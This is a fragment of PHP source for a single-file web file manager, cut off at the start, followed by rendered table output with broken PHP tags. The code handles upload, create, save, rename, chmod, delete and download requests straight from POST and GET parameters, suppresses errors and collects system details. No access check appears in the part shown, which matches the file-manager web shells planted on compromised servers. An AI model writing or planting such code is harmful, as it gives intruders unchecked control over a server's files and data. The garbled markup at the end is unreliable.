✓ Uploaded' : '✗ Upload failed'; } // New if(isset($_POST['new'])) { $path = $currentPath . $_POST['new']; if(isset($_POST['type']) && $_POST['type'] === 'dir') { $message = @mkdir($path) ? '✓ Folder created' : '✗ Failed'; } else { $message = writeFile($path, $_POST['content'] ?? '') ? '✓ File created' : '✗ Failed'; } } // Save if(isset($_POST['save']) && isset($_POST['data'])) { $message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? '✓ Saved' : '✗ Save failed'; } // Rename if(isset($_POST['oldname']) && isset($_POST['newname'])) { $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ? '✓ Renamed' : '✗ Failed'; } // Chmod if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value'])) ? '✓ Permissions changed' : '✗ Failed'; } } // GET actions if(isset($_GET['action'])) { $item = $_GET['item'] ?? ''; $itemPath = $currentPath . $item; if($_GET['action'] === 'delete') { if(@is_file($itemPath)) { $message = @unlink($itemPath) ? '✓ Deleted' : '✗ Failed'; } elseif(@is_dir($itemPath)) { $message = @rmdir($itemPath) ? '✓ Deleted' : '✗ Failed'; } } elseif($_GET['action'] === 'download' && @is_file($itemPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($itemPath).'"'); @readfile($itemPath); exit; } } // Scan directory $items = array_diff(scanDirectory($currentPath), ['.', '..']); $folders = []; $files = []; foreach($items as $item) { @is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item; } sort($folders); sort($files); // System info $systemInfo = [ 'PHP' => @phpversion(), 'OS' => @php_uname('s'), 'User' => @get_current_user() ]; ?>
| Name | Size | Permissions | Modified | Actions |
|---|---|---|---|---|
| 📂 Parent Directory | ||||
| 📁 =htmlspecialchars($folder)?> | - | =@filemtime($folderPath) ? date('Y-m-d H:i', @filemtime($folderPath)) : '-'?> | ||
| 📄 =htmlspecialchars($file)?> 📄 =htmlspecialchars($file)?> | - | =@filemtime($filePath) ? date('Y-m-d H:i', @filemtime($filePath)) : '-'?> | ||
| Empty directory | ||||